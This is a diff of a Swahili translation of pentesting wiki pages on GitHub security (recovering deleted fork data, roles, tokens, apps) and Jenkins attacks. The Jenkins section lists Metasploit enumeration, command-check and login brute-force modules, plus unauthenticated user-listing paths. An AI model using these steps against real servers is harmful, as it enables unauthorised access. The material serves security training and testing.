a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md @@ -1 +1 @@ -# Gh Actions - Upoisonaji wa Vitu vya Kazi +# Gh Actions - Artifact Poisoning diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md index 0abdb25c4..f77c0d2d3 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md @@ -1 +1 @@ -# GH Actions - Utoaji wa Sumaku +# GH Actions - Cache Poisoning diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md index 9cef507bc..f8cc7a1e8 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md @@ -1 +1 @@ -# Gh Actions - Context Script Injections +# Gh Actions - Makinika ya Muktadha wa Skripti diff --git a/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md b/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md index 025ffd279..7a547a7f8 100644 --- a/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md +++ b/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md @@ -1,55 +1,55 @@ -# Accessible Deleted Data in Github +# Data Zilizofutwa Zinazoweza Kupatikana katika Github {{#include ../../banners/hacktricks-training.md}} -Njia hizi za kufikia data kutoka Github ambayo ilionekana kufutwa [**ziliripotiwa katika chapisho hili la blog**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github). +Njia hizi za kufikia data kutoka Github ambazo zilionekana kufutwa [**ziliripotiwa katika chapisho hili la blog**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github). -## Accessing Deleted Fork Data +## Kufikia Data za Fork Zilizofutwa -1. Unafanya fork ya hifadhi ya umma +1. Unaforki hifadhi ya umma 2. Unafanya commit ya msimbo kwenye fork yako 3. Unafuta fork yako > [!CAUTION] > Data iliyofanywa commit katika fork iliyofutwa bado inapatikana. -## Accessing Deleted Repo Data +## Kufikia Data za Repo Zilizofutwa -1. Una hifadhi ya umma kwenye GitHub. -2. Mtumiaji anafanya fork ya hifadhi yako. -3. Unafanya commit ya data baada ya wao kuifanya fork (na hawajawahi kusawazisha fork yao na masasisho yako). -4. Unafuta hifadhi nzima. +1. Una repo ya umma kwenye GitHub. +2. Mtumiaji anafork repo yako. +3. Unafanya commit ya data baada ya wao kuifork (na hawajawahi kusawazisha fork yao na masasisho yako). +4. Unafuta repo nzima. > [!CAUTION] -> Hata kama umefuta hifadhi yako, mabadiliko yote yaliyofanywa kwenye hiyo bado yanapatikana kupitia forks. +> Hata kama umefuta repo yako, mabadiliko yote yaliyofanywa kwa hiyo bado yanapatikana kupitia forks. -## Accessing Private Repo Data +## Kufikia Data za Repo za Faragha -1. Unaunda hifadhi ya kibinafsi ambayo hatimaye itafanywa kuwa ya umma. -2. Unaunda toleo la kibinafsi, la ndani la hifadhi hiyo (kupitia forking) na kufanya commit ya msimbo wa ziada kwa vipengele ambavyo huenda usifanye kuwa ya umma. -3. Unafanya hifadhi yako ya “upstream” kuwa ya umma na kuweka fork yako kuwa ya kibinafsi. +1. Unaunda repo ya faragha ambayo hatimaye itafanywa kuwa ya umma. +2. Unaunda toleo la faragha, la ndani la repo hiyo (kupitia forking) na kufanya commit ya msimbo wa ziada kwa vipengele ambavyo huenda usifanye kuwa umma. +3. Unafanya repo yako ya "upstream" kuwa ya umma na kuweka fork yako kuwa ya faragha. > [!CAUTION] -> Inawezekana kufikia data yote iliyosukumwa kwenye fork ya ndani katika kipindi kati ya kuundwa kwa fork ya ndani na toleo la umma lilipofanywa kuwa la umma. +> Inawezekana kufikia data zote zilizopushwa kwenye fork ya ndani katika kipindi kati ya kuundwa kwa fork ya ndani na toleo la umma lilipofanywa kuwa umma. -## How to discover commits from deleted/hidden forks +## Jinsi ya kugundua commits kutoka kwa forks zilizofutwa/zinazofichwa Chapisho sawa la blog linapendekeza chaguzi 2: -### Directly accessing the commit +### Kufikia moja kwa moja commit Ikiwa thamani ya ID ya commit (sha-1) inajulikana inawezekana kuifikia katika `https://github.com///commit/` -### Brute-forcing short SHA-1 values +### Kuongeza nguvu thamani za fupi za SHA-1 -Ni sawa kufikia zote hizi mbili: +Ni sawa kufikia zote mbili hizi: - [https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14](https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14) - [https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463](https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463) -Na ya hivi karibuni inatumia sha-1 fupi ambayo inaweza kufanywa brute force. +Na ya hivi karibuni inatumia sha-1 fupi ambayo inaweza kuongezwa nguvu. -## References +## Marejeleo - [https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github) diff --git a/src/pentesting-ci-cd/github-security/basic-github-information.md b/src/pentesting-ci-cd/github-security/basic-github-information.md index deff5d5d3..fd9870b37 100644 --- a/src/pentesting-ci-cd/github-security/basic-github-information.md +++ b/src/pentesting-ci-cd/github-security/basic-github-information.md @@ -1,27 +1,27 @@ -# Basic Github Information +# Msingi wa Taarifa za Github {{#include ../../banners/hacktricks-training.md}} -## Basic Structure +## Muundo wa Msingi -Muundo wa msingi wa mazingira ya github ya **kampuni** kubwa ni kumiliki **enterprise** ambayo inamiliki **mashirika kadhaa** na kila moja yao inaweza kuwa na **hifadhi kadhaa** na **timu kadhaa**. Kampuni ndogo zinaweza kumiliki tu **shirika moja na hakuna enterprise**. +Muundo wa mazingira ya github wa **kampuni** kubwa ni kumiliki **enterprise** ambayo inamiliki **mashirika kadhaa** na kila moja yao inaweza kuwa na **hifadhi kadhaa** na **timu kadhaa**. Kampuni ndogo zinaweza kumiliki tu **shirika moja na hakuna enterprises**. -Kwa mtazamo wa mtumiaji, **mtumiaji** anaweza kuwa **mwanachama** wa **mashirika na enterprises tofauti**. Ndani yao, mtumiaji anaweza kuwa na **mifumo tofauti ya enterprise, shirika na hifadhi**. +Kwa mtazamo wa mtumiaji, **mtumiaji** anaweza kuwa **mwanachama** wa **mashirika na enterprises tofauti**. Ndani yao, mtumiaji anaweza kuwa na **majukumu tofauti ya enterprise, shirika na hifadhi**. -Zaidi ya hayo, mtumiaji anaweza kuwa **sehemu ya timu tofauti** zikiwa na mifumo tofauti ya enterprise, shirika au hifadhi. +Zaidi ya hayo, mtumiaji anaweza kuwa **sehemu ya timu tofauti** zikiwa na majukumu tofauti ya enterprise, shirika au hifadhi. Na hatimaye, **hifadhi zinaweza kuwa na mifumo maalum ya ulinzi**. ## Privileges -### Enterprise Roles +### Majukumu ya Enterprise -- **Mmiliki wa Enterprise**: Watu wenye jukumu hili wanaweza **kusimamia wasimamizi, kusimamia mashirika ndani ya enterprise, kusimamia mipangilio ya enterprise, kutekeleza sera katika mashirika**. Hata hivyo, hawawezi **kufikia mipangilio ya shirika au maudhui** isipokuwa wametengenezwa kuwa mmiliki wa shirika au kupewa ufikiaji wa moja kwa moja kwa hifadhi inayomilikiwa na shirika. +- **Mmiliki wa Enterprise**: Watu wenye jukumu hili wanaweza **kusimamia wasimamizi, kusimamia mashirika ndani ya enterprise, kusimamia mipangilio ya enterprise, kutekeleza sera kati ya mashirika**. Hata hivyo, hawawezi **kufikia mipangilio ya shirika au maudhui** isipokuwa wametolewa kuwa mmiliki wa shirika au kupewa ufikiaji wa moja kwa moja kwa hifadhi inayomilikiwa na shirika. - **Wajumbe wa Enterprise**: Wajumbe wa mashirika yanayomilikiwa na enterprise yako pia ni **wanachama wa enterprise** kiotomatiki. -### Organization Roles +### Majukumu ya Shirika -Katika shirika, watumiaji wanaweza kuwa na mifumo tofauti: +Katika shirika, watumiaji wanaweza kuwa na majukumu tofauti: - **Wamiliki wa Shirika**: Wamiliki wa shirika wana **ufikiaji kamili wa kiutawala kwa shirika lako**. Jukumu hili linapaswa kuwa na mipaka, lakini si chini ya watu wawili, katika shirika lako. - **Wajumbe wa Shirika**: Jukumu la **kawaida**, lisilo la kiutawala kwa **watu katika shirika** ni mwanachama wa shirika. Kwa kawaida, wajumbe wa shirika **wana idadi ya ruhusa**. @@ -31,51 +31,51 @@ Katika shirika, watumiaji wanaweza kuwa na mifumo tofauti: - **Wasimamizi wa Github App**: Ili kuruhusu watumiaji wengine **kusimamia Github Apps zinazomilikiwa na shirika**, mmiliki anaweza kuwapa ruhusa za msimamizi wa Github App. - **Washirikishi wa Nje**: Mshirikishi wa nje ni mtu ambaye ana **ufikiaji wa hifadhi moja au zaidi za shirika lakini si mwanachama** wa shirika kwa wazi. -Unaweza **kulinganisha ruhusa** za mifumo hii katika jedwali hili: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles) +Unaweza **kulinganisha ruhusa** za majukumu haya katika jedwali hili: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles) -### Members Privileges +### Privileges za Wajumbe Katika _https://github.com/organizations/\/settings/member_privileges_ unaweza kuona **ruhusa ambazo watumiaji watakuwa nazo kwa kuwa sehemu ya shirika**. -Mipangilio hapa iliyowekwa itaonyesha ruhusa zifuatazo za wanachama wa shirika: +Mipangilio hapa iliyowekwa itaonyesha ruhusa zifuatazo za wajumbe wa shirika: - Kuwa msimamizi, mwandishi, msomaji au hakuna ruhusa juu ya hifadhi zote za shirika. -- Ikiwa wanachama wanaweza kuunda hifadhi za kibinafsi, za ndani au za umma. +- Ikiwa wajumbe wanaweza kuunda hifadhi za kibinafsi, za ndani au za umma. - Ikiwa kuiga hifadhi kunawezekana - Ikiwa inawezekana kuwalika washirikishi wa nje - Ikiwa tovuti za umma au za kibinafsi zinaweza kuchapishwa - Ruhusa ambazo wasimamizi wanazo juu ya hifadhi -- Ikiwa wanachama wanaweza kuunda timu mpya +- Ikiwa wajumbe wanaweza kuunda timu mpya -### Repository Roles +### Majukumu ya Hifadhi -Kwa kawaida mifumo ya hifadhi huundwa: +Kwa kawaida majukumu ya hifadhi huundwa: -- **Soma**: Inapendekezwa kwa **wasaidizi wasio wa msimbo** wanaotaka kuona au kujadili mradi wako -- **Triage**: Inapendekezwa kwa **wasaidizi wanaohitaji kusimamia masuala na ombi la kuvuta** bila ufikiaji wa kuandika -- **Andika**: Inapendekezwa kwa wasaidizi ambao **wanasukuma kwa nguvu kwenye mradi wako** +- **Soma**: Inapendekezwa kwa **watoaji wa msimbo wasiokuwa na mchango** wanaotaka kuona au kujadili mradi wako +- **Triage**: Inapendekezwa kwa **watoaji wa mchango wanaohitaji kusimamia masuala na ombi la kuvuta** bila ufikiaji wa kuandika +- **Andika**: Inapendekezwa kwa watoaji wa mchango wanao **sukuma kwa nguvu mradi wako** - **Simamisha**: Inapendekezwa kwa **wasimamizi wa mradi wanaohitaji kusimamia hifadhi** bila ufikiaji wa vitendo nyeti au vya kuharibu - **Msimamizi**: Inapendekezwa kwa watu wanaohitaji **ufikiaji kamili wa mradi**, ikiwa ni pamoja na vitendo nyeti na vya kuharibu kama kusimamia usalama au kufuta hifadhi Unaweza **kulinganisha ruhusa** za kila jukumu katika jedwali hili [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role) -Unaweza pia **kuunda mifumo yako mwenyewe** katika _https://github.com/organizations/\/settings/roles_ +Unaweza pia **kuunda majukumu yako mwenyewe** katika _https://github.com/organizations/\/settings/roles_ -### Teams +### Timu Unaweza **orodhesha timu zilizoundwa katika shirika** katika _https://github.com/orgs/\/teams_. Kumbuka kuwa ili kuona timu ambazo ni watoto wa timu nyingine unahitaji kufikia kila timu ya mzazi. -### Users +### Watumiaji Watumiaji wa shirika wanaweza **orodheshwa** katika _https://github.com/orgs/\/people._ -Katika taarifa za kila mtumiaji unaweza kuona **timu ambazo mtumiaji ni mwanachama wa**, na **hifadhi ambazo mtumiaji ana ufikiaji wa**. +Katika taarifa za kila mtumiaji unaweza kuona **timu ambazo mtumiaji ni mwanachama wa**, na **hifadhi ambazo mtumiaji ana ufikiaji**. -## Github Authentication +## Uthibitishaji wa Github Github inatoa njia tofauti za kuthibitisha akaunti yako na kufanya vitendo kwa niaba yako. -### Web Access +### Ufikiaji wa Mtandao Kwa kufikia **github.com** unaweza kuingia kwa kutumia **jina lako la mtumiaji na nenosiri** (na **2FA huenda**). @@ -85,70 +85,70 @@ Unaweza kuunda akaunti yako na funguo moja au kadhaa za umma zinazoruhusu **fung #### **GPG Keys** -Huwezi **kujifanya kuwa mtumiaji kwa funguo hizi** lakini ikiwa huzitumii inaweza kuwa inawezekana kwamba **unagundulika kwa kutuma commits bila saini**. Jifunze zaidi kuhusu [mode ya uangalizi hapa](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode). +Huwezi **kujifanya kuwa mtumiaji kwa funguo hizi** lakini ikiwa huzi tumii inaweza kuwa inawezekana kwamba **unagundulika kwa kutuma commits bila saini**. Jifunze zaidi kuhusu [mode ya uangalizi hapa](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode). -### **Personal Access Tokens** +### **Tokens za Ufikiaji wa Kibinafsi** Unaweza kuunda token za ufikiaji wa kibinafsi ili **kutoa ufikiaji wa programu kwa akaunti yako**. Wakati wa kuunda token ya ufikiaji wa kibinafsi, **mtumiaji** anahitaji **kueleza** **ruhusa** ambazo **token** itakuwa nazo. [https://github.com/settings/tokens](https://github.com/settings/tokens) ### Oauth Applications -Programu za Oauth zinaweza kukuomba ruhusa **za kufikia sehemu ya taarifa zako za github au kujifanya kuwa wewe** ili kufanya vitendo fulani. Mfano wa kawaida wa kazi hii ni **kitufe cha kuingia na github** ambacho unaweza kukutana nacho katika baadhi ya majukwaa. +Oauth applications zinaweza kukuomba ruhusa **za kufikia sehemu ya taarifa zako za github au kujifanya kuwa wewe** ili kufanya vitendo fulani. Mfano wa kawaida wa kazi hii ni **kitufe cha kuingia na github** ambacho unaweza kukiona katika baadhi ya majukwaa. - Unaweza **kuunda** programu zako za **Oauth** katika [https://github.com/settings/developers](https://github.com/settings/developers) -- Unaweza kuona **programu za Oauth ambazo zina ufikiaji wa akaunti yako** katika [https://github.com/settings/applications](https://github.com/settings/applications) +- Unaweza kuona **programu zote za Oauth ambazo zina ufikiaji wa akaunti yako** katika [https://github.com/settings/applications](https://github.com/settings/applications) - Unaweza kuona **mipaka ambayo Oauth Apps zinaweza kuomba** katika [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps) -- Unaweza kuona ufikiaji wa wahusika wengine wa programu katika **shirika** katika _https://github.com/organizations/\/settings/oauth_application_policy_ +- Unaweza kuona ufikiaji wa wahusika wengine wa programu katika _https://github.com/organizations/\/settings/oauth_application_policy_ Baadhi ya **mapendekezo ya usalama**: -- **Programu ya OAuth** inapaswa kila wakati **kufanya kama mtumiaji aliyethibitishwa wa GitHub katika GitHub yote** (kwa mfano, wakati wa kutoa arifa za mtumiaji) na kwa ufikiaji tu wa mipaka iliyotajwa. -- Programu ya OAuth inaweza kutumika kama mtoa kitambulisho kwa kuwezesha "Ingia na GitHub" kwa mtumiaji aliyethibitishwa. -- **Usijenge** **Programu ya OAuth** ikiwa unataka programu yako ifanye kazi kwenye **hifadhi moja**. Kwa mipaka ya `repo`, Programu za OAuth zinaweza **kufanya kazi kwenye \_zote**\_\*\* za hifadhi za mtumiaji aliyethibitishwa\*\*. -- **Usijenge** Programu ya OAuth ili kufanya kazi kama programu kwa **timu au kampuni** yako. Programu za OAuth zinathibitishwa kama **mtumiaji mmoja**, hivyo ikiwa mtu mmoja anaunda Programu ya OAuth kwa kampuni kutumia, na kisha anaondoka kampuni, hakuna mtu mwingine atakayekuwa na ufikiaji wake. +- **OAuth App** inapaswa kila wakati **kufanya kazi kama mtumiaji aliyethibitishwa wa GitHub katika GitHub yote** (kwa mfano, wakati wa kutoa arifa za mtumiaji) na kwa ufikiaji tu wa mipaka iliyotajwa. +- OAuth App inaweza kutumika kama mtoa kitambulisho kwa kuwezesha "Ingia na GitHub" kwa mtumiaji aliyethibitishwa. +- **Usijenge** **OAuth App** ikiwa unataka programu yako ifanye kazi kwenye **hifadhi moja**. Kwa mipaka ya `repo`, OAuth Apps zinaweza **kufanya kazi kwenye \_zote**\_\*\* za hifadhi za mtumiaji aliyethibitishwa\*\*. +- **Usijenge** OAuth App ili kufanya kazi kama programu kwa **timu au kampuni** yako. OAuth Apps zinathibitishwa kama **mtumiaji mmoja**, hivyo ikiwa mtu mmoja anaunda OAuth App kwa kampuni kutumia, na kisha anaondoka kampuni, hakuna mtu mwingine atakayekuwa na ufikiaji wake. - **Zaidi** katika [hapa](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps). -### Github Applications +### Programu za Github -Programu za Github zinaweza kuomba ruhusa za **kufikia taarifa zako za github au kujifanya kuwa wewe** ili kufanya vitendo maalum juu ya rasilimali maalum. Katika Programu za Github unahitaji kueleza hifadhi ambazo programu itakuwa na ufikiaji. +Programu za Github zinaweza kukuomba ruhusa za **kufikia taarifa zako za github au kujifanya kuwa wewe** ili kufanya vitendo maalum juu ya rasilimali maalum. Katika Github Apps unahitaji kueleza hifadhi ambazo programu itakuwa na ufikiaji. -- Ili kufunga Programu ya GitHub, lazima uwe **mmiliki wa shirika au uwe na ruhusa za msimamizi** katika hifadhi. -- Programu ya GitHub inapaswa **kuunganishwa na akaunti binafsi au shirika**. -- Unaweza kuunda programu yako mwenyewe ya Github katika [https://github.com/settings/apps](https://github.com/settings/apps) +- Ili kufunga Github App, lazima uwe **mmiliki wa shirika au uwe na ruhusa za msimamizi** katika hifadhi. +- Github App inapaswa **kuunganishwa na akaunti binafsi au shirika**. +- Unaweza kuunda programu yako ya Github katika [https://github.com/settings/apps](https://github.com/settings/apps) - Unaweza kuona **programu zote za Github ambazo zina ufikiaji wa akaunti yako** katika [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations) - Hizi ni **API Endpoints za Programu za Github** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Kulingana na ruhusa za Programu itakuwa na uwezo wa kufikia baadhi yao - Unaweza kuona programu zilizofungwa katika **shirika** katika _https://github.com/organizations/\/settings/installations_ Baadhi ya mapendekezo ya usalama: -- Programu ya GitHub inapaswa **kuchukua hatua bila ya mtumiaji** (isipokuwa programu inatumia [token ya mtumiaji-kwa-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests)). Ili kuweka token za ufikiaji wa mtumiaji-kwa-server kuwa salama zaidi, unaweza kutumia token za ufikiaji ambazo zitakoma baada ya masaa 8, na token ya upya ambayo inaweza kubadilishwa kwa token mpya ya ufikiaji. Kwa maelezo zaidi, angalia "[Kurefresh token za ufikiaji wa mtumiaji-kwa-server](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)." -- Hakikisha Programu ya GitHub inajumuisha **hifadhi maalum**. -- Programu ya GitHub inapaswa **kuunganishwa na akaunti binafsi au shirika**. -- Usitarajie Programu ya GitHub ijue na kufanya kila kitu ambacho mtumiaji anaweza. -- **Usitumie Programu ya GitHub ikiwa unahitaji tu huduma ya "Ingia na GitHub"**. Lakini Programu ya GitHub inaweza kutumia [mchakato wa utambulisho wa mtumiaji](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) kuingia kwa watumiaji _na_ kufanya mambo mengine. -- Usijenge Programu ya GitHub ikiwa unataka _tu_ kufanya kazi kama mtumiaji wa GitHub na kufanya kila kitu ambacho mtumiaji huyo anaweza kufanya. -- Ikiwa unatumia programu yako na GitHub Actions na unataka kubadilisha faili za workflow, lazima uthibitishe kwa niaba ya mtumiaji kwa token ya OAuth ambayo inajumuisha mipaka ya `workflow`. Mtumiaji lazima awe na ruhusa ya msimamizi au kuandika kwa hifadhi ambayo ina faili ya workflow. Kwa maelezo zaidi, angalia "[Kuelewa mipaka kwa programu za OAuth](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)." +- Github App inapaswa **kuchukua hatua bila ya mtumiaji** (isipokuwa programu inatumia token ya [mtumiaji-kwa-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests)). Ili kuweka token za ufikiaji wa mtumiaji-kwa-server kuwa salama zaidi, unaweza kutumia token za ufikiaji ambazo zitakoma baada ya masaa 8, na token ya kubadilisha ambayo inaweza kubadilishwa kwa token mpya ya ufikiaji. Kwa maelezo zaidi, angalia "[Kurefresh token za ufikiaji wa mtumiaji-kwa-server](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)." +- Hakikisha Github App inajumuisha **hifadhi maalum**. +- Github App inapaswa **kuunganishwa na akaunti binafsi au shirika**. +- Usitarajie Github App ijue na kufanya kila kitu ambacho mtumiaji anaweza. +- **Usitumie Github App ikiwa unahitaji tu huduma ya "Ingia na Github"**. Lakini Github App inaweza kutumia [mchakato wa utambulisho wa mtumiaji](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) kuingia watumiaji _na_ kufanya mambo mengine. +- Usijenge Github App ikiwa _tu_ unataka kufanya kazi kama mtumiaji wa Github na kufanya kila kitu ambacho mtumiaji huyo anaweza kufanya. +- Ikiwa unatumia programu yako na Github Actions na unataka kubadilisha faili za workflow, lazima uthibitishe kwa niaba ya mtumiaji kwa token ya OAuth ambayo inajumuisha mipaka ya `workflow`. Mtumiaji lazima awe na ruhusa ya msimamizi au kuandika kwa hifadhi ambayo ina faili ya workflow. Kwa maelezo zaidi, angalia "[Kuelewa mipaka kwa programu za OAuth](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)." - **Zaidi** katika [hapa](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps). ### Github Actions -Hii **si njia ya kuthibitisha katika github**, lakini **kitendo kibaya** cha Github kinaweza kupata **ufikiaji usioidhinishwa kwa github** na **kulingana** na **privileges** zilizotolewa kwa Kitendo kadhaa **shambulio tofauti** zinaweza kufanywa. Tazama hapa chini kwa maelezo zaidi. +Hii **sio njia ya kuthibitisha katika github**, lakini **kitendo kibaya** cha Github kinaweza kupata **ufikiaji usioidhinishwa kwa github** na **kulingana** na **privileges** zilizotolewa kwa Kitendo kadhaa **shambulio tofauti** zinaweza kufanywa. Tazama hapa chini kwa maelezo zaidi. ## Git Actions -Vitendo vya Git vinaruhusu kuendesha **utendaji wa msimbo wakati tukio linapotokea**. Kwa kawaida, msimbo unaotekelezwa ni **kama vile unavyohusiana na msimbo wa hifadhi** (labda kujenga kontena la docker au kuangalia kwamba PR haina siri). +Git actions inaruhusu kuendesha **utendaji wa msimbo wakati tukio linapotokea**. Kawaida, msimbo unaotekelezwa ni **kama vile unavyohusiana na msimbo wa hifadhi** (labda kujenga kontena la docker au kuangalia kwamba PR haina siri). -### Configuration +### Mipangilio Katika _https://github.com/organizations/\/settings/actions_ inawezekana kuangalia **mipangilio ya vitendo vya github** kwa shirika. Inawezekana kukataa matumizi ya vitendo vya github kabisa, **kuruhusu vitendo vyote vya github**, au kuruhusu vitendo fulani tu. -Pia inawezekana kuunda **nani anahitaji idhini ili kuendesha Kitendo cha Github** na **ruhusa za GITHUB_TOKEN** za Kitendo cha Github wakati kinapotekelezwa. +Pia inawezekana kuunda **nani anahitaji idhini ili kuendesha Github Action** na **ruhusa za GITHUB_TOKEN** za Github Action wakati inatekelezwa. -### Git Secrets +### Siri za Git -Vitendo vya Github kwa kawaida vinahitaji aina fulani za siri ili kuingiliana na github au programu za wahusika wengine. Ili **kuepuka kuweka wazi** katika hifadhi, github inaruhusu kuweka kama **Siri**. +Github Action kwa kawaida inahitaji aina fulani za siri ili kuingiliana na github au programu za wahusika wengine. Ili **kuepuka kuweka wazi** katika hifadhi, github inaruhusu kuweka kama **Siri**. Siri hizi zinaweza kuundwa **kwa hifadhi au kwa shirika lote**. Kisha, ili **Kitendo kiweze kufikia siri** unahitaji kuziandika kama: ```yaml diff --git a/src/pentesting-ci-cd/jenkins-security/README.md b/src/pentesting-ci-cd/jenkins-security/README.md index 2fba38c54..e6182633f 100644 --- a/src/pentesting-ci-cd/jenkins-security/README.md +++ b/src/pentesting-ci-cd/jenkins-security/README.md @@ -4,7 +4,7 @@ ## Basic Information -Jenkins ni chombo kinachotoa njia rahisi ya kuanzisha **continuous integration** au **continuous delivery** (CI/CD) mazingira kwa karibu **yoyote** mchanganyiko wa **lugha za programu** na hifadhi za msimbo wa chanzo kwa kutumia pipelines. Aidha, inafanya kazi mbalimbali za kawaida za maendeleo kiotomatiki. Ingawa Jenkins haiondoi **hitaji la kuunda scripts kwa hatua binafsi**, inatoa njia ya haraka na yenye nguvu zaidi ya kuunganisha mfululizo mzima wa zana za kujenga, kujaribu, na kutekeleza kuliko mtu anavyoweza kujenga kwa urahisi kwa mikono. +Jenkins ni chombo kinachotoa njia rahisi ya kuanzisha **continuous integration** au **continuous delivery** (CI/CD) mazingira kwa karibu **yoyote** mchanganyiko wa **programming languages** na hazina za msimbo wa chanzo kwa kutumia pipelines. Aidha, inafanya kazi mbalimbali za kawaida za maendeleo kiotomatiki. Ingawa Jenkins haiondoi **hitaji la kuunda scripts kwa hatua za kibinafsi**, inatoa njia ya haraka na yenye nguvu zaidi ya kuunganisha mfululizo mzima wa zana za kujenga, kujaribu, na kutekeleza kuliko mtu anavyoweza kujenga kwa urahisi kwa mikono. {{#ref}} basic-jenkins-information.md @@ -12,15 +12,15 @@ basic-jenkins-information.md ## Unauthenticated Enumeration -Ili kutafuta kurasa za Jenkins zinazovutia bila uthibitisho kama (_/people_ au _/asynchPeople_, hii inataja watumiaji wa sasa) unaweza kutumia: +Ili kutafuta kurasa za kuvutia za Jenkins bila uthibitisho kama (_/people_ au _/asynchPeople_, hii inataja watumiaji wa sasa) unaweza kutumia: ``` msf> use auxiliary/scanner/http/jenkins_enum ``` -Angalia ikiwa unaweza kutekeleza amri bila kuhitaji uthibitisho: +Angalia kama unaweza kutekeleza amri bila kuhitaji uthibitisho: ``` msf> use auxiliary/scanner/http/jenkins_command ``` -Bila akreditivu unaweza kuangalia ndani ya _**/asynchPeople/**_ au _**/securityRealm/user/admin/search/index?q=**_ kwa **majina ya watumiaji**. +Bila kuwa na akidi unaweza kuangalia ndani ya _**/asynchPeople/**_ au _**/securityRealm/user/admin/search/index?q=**_ kwa **majina ya watumiaji**. Unaweza kupata toleo la Jenkins kutoka kwenye njia _**/oops**_ au _**/error**_. @@ -46,11 +46,11 @@ Utakuwa na uwezo wa kupata mifano ya Jenkins ambazo **zinakuruhusu kuunda akaunt ### **SSO Ingia** -Pia ikiwa **SSO** **ufunctionality**/**plugins** zilikuwepo basi unapaswa kujaribu **kuingia** kwenye programu ukitumia akaunti ya majaribio (yaani, akaunti ya majaribio ya **Github/Bitbucket**). Njia kutoka [**hapa**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/). +Pia ikiwa **SSO** **ufunctionality**/**plugins** zilikuwepo basi unapaswa kujaribu **kuingia** kwenye programu kwa kutumia akaunti ya majaribio (yaani, akaunti ya majaribio ya **Github/Bitbucket**). Njia kutoka [**hapa**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/). ### Bruteforce -**Jenkins** haina **sera ya nywila** na **kuzuia brute-force ya majina ya watumiaji**. Ni muhimu **kujaribu brute-force** watumiaji kwani **nywila dhaifu** au **majina ya watumiaji kama nywila** yanaweza kutumika, hata **majina ya watumiaji yaliyogeuzwa kuwa nywila**. +**Jenkins** haina **sera ya nywila** na **kinga ya kujaribu nywila za majina ya watumiaji**. Ni muhimu **kujaribu kwa nguvu** watumiaji kwani **nywila dhaifu** au **majina ya watumiaji kama nywila** yanaweza kutumika, hata **majina ya watumiaji yaliyogeuzwa kuwa nywila**. ``` msf> use auxiliary/scanner/http/jenkins_login ``` @@ -60,9 +60,9 @@ Tumia [hii script ya python](https://github.com/gquere/pwn_jenkins/blob/master/p ### IP Whitelisting Bypass -Mashirika mengi yanachanganya **mifumo ya usimamizi wa chanzo wa SaaS** kama GitHub au GitLab na **ufumbuzi wa CI wa ndani, uliojitegemea** kama Jenkins au TeamCity. Mpangilio huu unaruhusu mifumo ya CI **kupokea matukio ya webhook kutoka kwa wauzaji wa chanzo wa SaaS**, hasa kwa ajili ya kuanzisha kazi za pipeline. +Mashirika mengi yanachanganya **mifumo ya usimamizi wa chanzo cha SaaS** 